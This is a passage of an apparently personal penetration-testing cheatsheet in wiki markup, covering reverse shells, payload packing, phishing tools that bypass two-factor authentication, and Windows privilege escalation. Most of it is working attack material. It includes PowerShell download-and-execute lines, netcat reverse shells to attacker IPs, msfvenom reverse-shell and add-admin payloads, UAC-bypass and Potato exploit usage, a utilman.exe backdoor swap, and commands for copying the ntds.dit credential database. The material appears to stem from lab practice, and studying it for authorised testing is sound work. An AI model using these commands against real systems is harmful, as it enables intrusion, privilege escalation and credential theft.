&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
python -c &#039;import pty;pty.spawn(“/bin/bash”)&#039;&lt;br /&gt;
export TERM=xterm&lt;br /&gt;
Background the shell using Ctrl + Z. In our terminal we use stty raw -echo; fg.&lt;br /&gt;
https://blog.aghanim.net/?p=1043&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Windows ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In you have unstable shell in Windows, try to get a new shell using Nishang Invoke-PowershellTcp.ps1&lt;br /&gt;
# 1. Edit Nishang script and add&lt;br /&gt;
Invoke-PowerShellTcp -Reverse -IpAddress  -Port&lt;br /&gt;
# 2. Start a new netcat listener&lt;br /&gt;
# 3. Start simple http.severe where the nishang script is&lt;br /&gt;
# 4. On target. (Make sure powershell is enabled and allowed to use)&lt;br /&gt;
powershell.exe -nop -exec bypass -c &amp;quot;IEX (New-Object Net.WebClient).DownloadString(&#039;http://LOCALIP:LOCALPORT/invoke-powershelltcp.ps1&#039;)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Fix TTY in reverse shell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In our shell. Remember the rows anc cols&lt;br /&gt;
stty -a&lt;br /&gt;
# On victim shell&lt;br /&gt;
stty rows  cols&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PackMyPayload ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/mgeeky/PackMyPayload mgeeky/PackMyPayload: A PoC that packages payloads into output containers to evade Mark-of-the-Web flag &amp;amp; demonstrate risks associated with container file formats. Supports: ZIP, 7zip, PDF, ISO, IMG, CAB, VHD, VHDX (github.com)]&lt;br /&gt;
&lt;br /&gt;
Smuggle payloads using various file formats:&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;7zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;zip&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;ISO&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;IMG&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Pack a dir to .iso&lt;br /&gt;
PackMyPayload.py C:\my\dir malicious.iso -v&lt;br /&gt;
# Pack a malicious code to .vhd&lt;br /&gt;
PackMyPayload.py .\evil.lnk .\evil.vhd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Persistence ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Windows%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
[https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Linux%20-%20Persistence.md]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Phishing ==&lt;br /&gt;
&lt;br /&gt;
=== Bypass 2-Fa ===&lt;br /&gt;
&lt;br /&gt;
[https://www.youtube.com/watch?v=FwGeBW6OurM&amp;amp;t=662s Hackers Bypass Google Two-Factor Authentication (2FA) SMS - YouTube]&lt;br /&gt;
&lt;br /&gt;
[https://github.com/kgretzky/evilginx2 GitHub - kgretzky/evilginx2: Standalone man-in-the-middle attack framework used for phishing login credentials along with session cookies, allowing for the bypass of 2-factor authentication]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Programming ==&lt;br /&gt;
&lt;br /&gt;
=== Control flow - Logic Statement ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Logic Statement&lt;br /&gt;
| Purpose&lt;br /&gt;
|-&lt;br /&gt;
| if/else&lt;br /&gt;
| Executes only if a condition is met, else it will execute a different code block&lt;br /&gt;
|-&lt;br /&gt;
| try/catch&lt;br /&gt;
| Will try to execute a code block and catch it if it fails to handle errors.&lt;br /&gt;
|-&lt;br /&gt;
| switch case&lt;br /&gt;
| A switch will follow similar conditional logic to an if statement but checks several different possible conditions with cases before resolving to a break or default&lt;br /&gt;
|-&lt;br /&gt;
| for/while loop&lt;br /&gt;
| A for loop will execute for a set amount of a condition. A while loop will execute until a condition is no longer met.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Privilege Escalation ==&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
==== Admin Account Credentials ====&lt;br /&gt;
&lt;br /&gt;
[https://book.ghanim.no/?p=2078#Shell_8211_Changing_user_if_you_have_a_shell Active Directory – Notes, Methodology, Cheatsheet – BOOK_GHANIM]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If you hve admin credentials or created an account with admin privilege you can use nc.exe to get a privileged reverse shell using runas&lt;br /&gt;
runas /profile /user:Administrator &amp;quot;nc.exe -e cmd 192.168.49.169 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method is if the shell is non-interactive is to use a powershell script.&lt;br /&gt;
# Save this on your Kali and start a HTTP.server.&lt;br /&gt;
$password = ConvertTo-SecureString &amp;quot;lab&amp;quot; -AsPlainText -Force&lt;br /&gt;
$credential = New-Object System.Management.Automation.PSCredential (&amp;quot;Administrator&amp;quot;, $password)&lt;br /&gt;
Start-Process -Credential $credential -FilePath &amp;quot;C:\Users\Offsec\Desktop\ProcessHollow.exe&amp;quot;&lt;br /&gt;
# Now on the shell you have, run this command.&lt;br /&gt;
iex(new-object net.webclient).downloadstring(&#039;http://192.168.45.198/test.ps1&#039;)&lt;br /&gt;
# You should now see that the ProcessHollow binary is executing, giving you a shell in the context of administrator.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Another method again is to RDP to the target if possible and Run As.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== AlwaysInstallElevated ====&lt;br /&gt;
&lt;br /&gt;
If these two registers are enabled then users of any privilege can install &#039;&#039;&#039;.msi &#039;&#039;&#039;files as NT AUTHORITY\SYSTEM&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation#alwaysinstallelevated&lt;br /&gt;
# If 0x1 then its enabled&lt;br /&gt;
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated&lt;br /&gt;
&lt;br /&gt;
# Msfvenom payload&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi-nouac -o alwe.msi #No uac format&lt;br /&gt;
msfvenom -p windows/adduser USER=rottenadmin PASS=P@ssword123! -f msi -o alwe.msi #Using the msiexec the uac wont be prompted&lt;br /&gt;
# The above is better for persistence&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.54.122 LPORT=443 -f msi &amp;gt; rev_shell.msi # Recommeded if not AD.&lt;br /&gt;
# Execute&lt;br /&gt;
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi&lt;br /&gt;
&lt;br /&gt;
----------------&lt;br /&gt;
# The above command will probably be detected by AV. You can compile your own .msi.&lt;br /&gt;
https://github.com/KINGSABRI/MSI-AlwaysInstallElevated&lt;br /&gt;
PS C:\WiX Toolset v3.11\bin&amp;gt; .\candle.exe .\msiexploit.wxs; .\light.exe .\msiexploit.wixobj`)&lt;br /&gt;
-------------------------------------------&lt;br /&gt;
# You can also use MSI Wrapper.&lt;br /&gt;
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation/msi-wrapper&lt;br /&gt;
------------------------------------------&lt;br /&gt;
# There is also a metasploit module, but it needs a bit tweaking&lt;br /&gt;
exploit/windows/local/always_install_elevated&lt;br /&gt;
# In the multi handler do the following&lt;br /&gt;
set DisablePayloadHandler true - # Disable built-in listener&lt;br /&gt;
set ExitOnSession false - # The MSI target to existing meterpreter encoded payload&lt;br /&gt;
run -j -z - # Background listener&lt;br /&gt;
msf6 exploit(multi/handler) &amp;gt; use exploit/windows/local/always_install_elevated&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set VERBOSE true&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set payload windows/exec&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set session 1&lt;br /&gt;
# The encoded powershell command do &#039;whoami &amp;gt; C:\whoami.txt&#039; to verify that it works&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;powershell -enc dwBoAG8AYQBtAGkAIAA+ACAAQwA6AFwAdwBoAG8AYQBtAGkALgB0AHgAdAA=&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# Now to get a meterpreter shell, upload your payload. Ex. proc_hol.exe and run&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; set cmd &#039;C:\proc_hol.exe&#039;&lt;br /&gt;
msf6 exploit(windows/local/always_install_elevated) &amp;gt; run&lt;br /&gt;
# You should get a callback to your meterpreter listener.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/?page_id=1809#Executing_MSI_on_Windows Execute MSI files on Windows]&lt;br /&gt;
&lt;br /&gt;
==== BarracudaDrive 6.5 ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://packetstormsecurity.com/files/158812/BarracudaDrive-6.5-Local-Privilege-Escalation.html&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Bypass UAC ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/k4sth4/UAC-bypass https://github.com/k4sth4/UAC-bypass]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Check group memberships. If the user is member of Administrator group but have Medium mandteroy  Level shell, we might bypass uac.&lt;br /&gt;
# Notice the last line, &amp;quot;Mandatory Label\Medium Mandatory Level&amp;quot;&lt;br /&gt;
whoami /groups&lt;br /&gt;
GROUP INFORMATION&lt;br /&gt;
-----------------&lt;br /&gt;
Group Name                                 Type             SID          Attributes&lt;br /&gt;
========================================== ================ ============ ==================================================&lt;br /&gt;
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
BUILTIN\Administrators                     Alias            S-1-5-32-544 Group used for deny only&lt;br /&gt;
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\INTERACTIVE                   Well-known group S-1-5-4      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
CONSOLE LOGON                              Well-known group S-1-2-1      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
LOCAL                                      Well-known group S-1-2-0      Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group&lt;br /&gt;
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192&lt;br /&gt;
&lt;br /&gt;
# Next check if UAC is enabled&lt;br /&gt;
# If EnableLUA and PromptOnSecureDesktop is set to 1, that means its enabled.&lt;br /&gt;
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;br /&gt;
# We then have to find a binary that have &amp;quot;autoElevate&amp;quot; set to true.&lt;br /&gt;
# Download strings windows binary here https://github.com/k4sth4/UAC-bypass/blob/main/strings64.exe. (Same as linux)&lt;br /&gt;
.\strings64.exe -accepteula C:\\Windows\System32\eventvwr.exe | findstr /i autoelevate&lt;br /&gt;
        true&lt;br /&gt;
# Then we have to generate a payload using msfvenom.&lt;br /&gt;
msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.x.x LPORT=443 -f exe &amp;gt; shell.exe&lt;br /&gt;
# In this instance we are abusing eventvwr. https://github.com/k4sth4/UAC-bypass/blob/main/eventvwr-bypassuac.c&lt;br /&gt;
# Compile the above code&lt;br /&gt;
x86_64-w64-mingw32-gcc eventvwr-bypassuac.c -o eventvwr-bypassuac-64.exe&lt;br /&gt;
# Transfer the binary to target and execute&lt;br /&gt;
.\eventvwr-bypassuac-64.exe&lt;br /&gt;
# Check your listener and then run &amp;quot;whoami /groups&amp;quot; again and check last line.&lt;br /&gt;
Mandatory Label\High Mandatory Level       Label            S-1-16-12288&lt;br /&gt;
# This means you can run elevated commands. Dumping hashes etc.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== CVE ====&lt;br /&gt;
&lt;br /&gt;
===== CVE-2019-1405 and CVE-2019-1322 (COMahawk) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/apt69/COMahawk&lt;br /&gt;
# An elevation of privilege vulnerability exists when the Windows Universal Plug and Play (UPnP) service improperly allows COM object creation, aka &#039;Windows UPnP Service Elevation of Privilege Vulnerability&#039;.&lt;br /&gt;
# Method 1&lt;br /&gt;
.\COMahawk64.exe&lt;br /&gt;
[\] Progress:  1/9 2/9 3/9 4/9 5/9 6/9 7/9 8/9 9/9&lt;br /&gt;
[+] Hopefully Tomahawk:RibSt3ak69 is added as an admin.&lt;br /&gt;
# Method 2&lt;br /&gt;
.\COMahawk64.exe &amp;quot;C:\\users\\public\\documents\\nc64.exe -e cmd.exe 192.168.1.123 443&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== HiveNightmare ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/GossiTheDog/HiveNightmare&lt;br /&gt;
# Works on all supported versions of Windows 10, where System Protection is enabled (should be enabled by default in most configurations).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== LAPS ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# If we have valid creds for LDAP we can query LDAP for the local admin password.&lt;br /&gt;
ldapsearch -v -x -D fmcsorley@HUTCH.OFFSEC -w CrabSharkJellyfish192 -b &amp;quot;DC=hutch,DC=offsec&amp;quot; -h 192.168.120.108 &amp;quot;(ms-MCS-AdmPwd=*)&amp;quot; ms-MCS-AdmPwd&lt;br /&gt;
# LAPS is a tool that periodically changes the local administrator&#039;s password when it expires. It then stores the password details in the Active Directory.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Potatos (SeimpersonatePrivilege) ====&lt;br /&gt;
&lt;br /&gt;
[https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#hotPotato Source]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;gt;= Windows 10 1809 &amp;amp; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#roguePotato Rogue Potato]&lt;br /&gt;
&lt;br /&gt;
* If the machine is &amp;lt; Windows 10 1809 &amp;lt; Windows Server 2019 - Try [https://jlajara.gitlab.io/others/2020/11/22/Potatoes_Windows_Privesc.html#juicyPotato Juicy Potato]&lt;br /&gt;
&lt;br /&gt;
===== Finding CLSID =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/ohpe/juicy-potato/tree/master/CLSID https://github.com/ohpe/juicy-potato/tree/master/CLSID]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function Lookup-Clsid&lt;br /&gt;
{&lt;br /&gt;
    Param([string]$clsid)&lt;br /&gt;
    $CLSID_KEY = &#039;HKLM:\SOFTWARE\Classes\CLSID&#039;&lt;br /&gt;
    If ( Test-Path $CLSID_KEY\$clsid) {&lt;br /&gt;
        $name = (Get-ItemProperty -Path $CLSID_KEY\$clsid).&#039;(default)&#039;&lt;br /&gt;
        $dll = (Get-ItemProperty -Path $CLSID_KEY\$clsid\InProcServer32).&#039;(default)&#039;&lt;br /&gt;
    }&lt;br /&gt;
    $name, $dll&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Hot Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/foxglovesec/Potato&lt;br /&gt;
Potato.exe -ip -cmd [cmd to run] -disable_exhaust true -disable_defender true&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rotten Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/breenmachine/RottenPotatoNG&lt;br /&gt;
After having a meterpreter shell with incognito mode loaded:&lt;br /&gt;
MSFRottenPotato.exe t c:\windows\temp\test.bat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Lonely Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Lonely Potato is deprecated and after visiting the repository, there is an indication to move to Juicy Potato.&lt;br /&gt;
https://github.com/decoder-it/lonelypotato&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Juicy Potato or Churrasco (SeImpersonate or SeAssignPrimaryToken) =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download repository&lt;br /&gt;
https://github.com/ohpe/juicy-potato&lt;br /&gt;
https://github.com/antonioCoco/JuicyPotatoNG&lt;br /&gt;
juicypotato.exe -l 1337 -p c:\windows\system32\cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}&lt;br /&gt;
.\JuicyPotatoNG.exe -t * -p C:\users\public\documents\shell1.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Rogue Potato =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Download binary&lt;br /&gt;
https://github.com/antonioCoco/RoguePotato&lt;br /&gt;
# Run in your machine the socat redirection (replace VICTIM_IP):&lt;br /&gt;
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999&lt;br /&gt;
# Execute PoC (replace YOUR_IP and command):&lt;br /&gt;
.\RoguePotato.exe -r YOUR_IP -e &amp;quot;command&amp;quot; -l 9999&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== GodPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/BeichenDream/GodPotato BeichenDream/GodPotato (github.com)]&lt;br /&gt;
&lt;br /&gt;
Enables privilege escalation in Windows 2012 - Windows 2022&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
GodPotato -cmd &amp;quot;cmd /c whoami&amp;quot;&lt;br /&gt;
GodPotato -cmd &amp;quot;nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SharpEfsPotato =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/bugch3ck/SharpEfsPotato bugch3ck/SharpEfsPotato: Local privilege escalation from SeImpersonatePrivilege using EfsRpc. (github.com)]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a &amp;quot;whoami | Set-Content C:\temp\w.log&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== PrintSpoofer =====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/dievus/printspoofer https://github.com/dievus/printspoofer]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# PrintSpoofer exploit that can be used to escalate service user permissions on Windows Server 2016, Server 2019, and Windows 10.&lt;br /&gt;
# To escalate privileges, the service account must have SeImpersonate privileges. To execute:&lt;br /&gt;
PrintSpoofer.exe -i -c cmd&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Se-privileges ====&lt;br /&gt;
&lt;br /&gt;
===== Great list and explanation =====&lt;br /&gt;
&lt;br /&gt;
[https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System][https://blog.aghanim.net/wp-content/uploads/2022/12/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf Download]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# This ppt will explain how to exploit different SePrivileges&lt;br /&gt;
https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeManageVolume =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/xct/SeManageVolumeAbuse&lt;br /&gt;
https://0xdf.gitlab.io/2021/11/08/htb-pivotapi-more.html#sebackupvolume&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeLoadDriverPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# See writeup for PG Fuse&lt;br /&gt;
# It allows the user to load kernel drivers and execute code with kernel privilges aka NT\System&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeRestorePrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeRestorePrivilege privilege allows a user to circumvent file and directory permissions when restoring backed up files and directories, thus giving the user read and write access to system files.&lt;br /&gt;
# See PG Heist writeup&lt;br /&gt;
# This script Enables SeRestorePrivilege for our current (powershell/ise) session.&lt;br /&gt;
https://github.com/gtworek/PSBits/blob/master/Misc/EnableSeRestorePrivilege.ps1&lt;br /&gt;
# You can modify services, DLL Hijacking, set debugger (Image File Execution Options)… A lot of options to escalate.&lt;br /&gt;
# Example of ways to escalate privilege&lt;br /&gt;
# Utilman.exe. This application is triggered by issuing the WIN + U in windows lockscreen&lt;br /&gt;
move C:\Windows\System32\utilman.exe C:\Windows\System32\utilman.old&lt;br /&gt;
move C:\Windows\System32\cmd.exe C:\Windows\System32\utilman.exe&lt;br /&gt;
# Now RDP to target without logging in. Then press win+u&lt;br /&gt;
rdesktop 192.168.153.165&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-11-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
===== SeBackupPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# SeBackUpPrivilege basically allows for full system read.&lt;br /&gt;
# See if user is member of &#039;Backup Operator&#039;.&lt;br /&gt;
# https://hackinparis.com/data/slides/2019/talks/HIP2019-Andrea_Pierini-Whoami_Priv_Show_Me_Your_Privileges_And_I_Will_Lead_You_To_System.pdf&lt;br /&gt;
# https://github.com/giuliano108/SeBackupPrivilege&lt;br /&gt;
# Example 1&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeUtils.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Import-Module .\SeBackupPrivilegeCmdLets.dll&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege # ...or whoami /priv | findstr Backup&lt;br /&gt;
SeBackupPrivilege is disabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE&lt;br /&gt;
Get-ChildItem : Access to the path &#039;E:\V_BASE&#039; is denied.&lt;br /&gt;
At line:1 char:4&lt;br /&gt;
+ dir  Set-SeBackupPrivilege&lt;br /&gt;
PS C:\scripts&amp;gt; Get-SeBackupPrivilege&lt;br /&gt;
SeBackupPrivilege is enabled&lt;br /&gt;
PS C:\scripts&amp;gt; dir E:\V_BASE # ...having enabled the privilege, this now works&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
d----        18/07/2013     13:04            Private&lt;br /&gt;
PS C:\scripts&amp;gt; cd E:\V_BASE\Private&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; dir&lt;br /&gt;
&lt;br /&gt;
    Directory: E:\V_BASE\Private&lt;br /&gt;
&lt;br /&gt;
Mode                LastWriteTime     Length Name&lt;br /&gt;
----                -------------     ------ ----&lt;br /&gt;
-----        05/07/2013     12:29     306435 report.pdf&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt; Copy-FileSeBackupPrivilege .\report.pdf c:\temp\x.pdf -Overwrite&lt;br /&gt;
Copied 306435 bytes&lt;br /&gt;
PS E:\V_BASE\Private&amp;gt;&lt;br /&gt;
&lt;br /&gt;
-------------------&lt;br /&gt;
# Example 2&lt;br /&gt;
Copy-FileSeBackupPrivilege netlogon.dns \programdata\netlogon.dns&lt;br /&gt;
Copy-FileSeBackupPrivilege C:\Windows\ntds\ntds.dit .&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== SeCreateTokenPrivilege =====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://www.greyhathacker.net/?p=1025&lt;br /&gt;
Try running it many times&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== SMBGhost ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CVE-2020-0796&lt;br /&gt;
# https://github.com/danigargu/CVE-2020-0796&lt;br /&gt;
# Compile it with Visual Studios. Change payload in exploit.cpp line 204 and add msfvenom payload&lt;br /&gt;
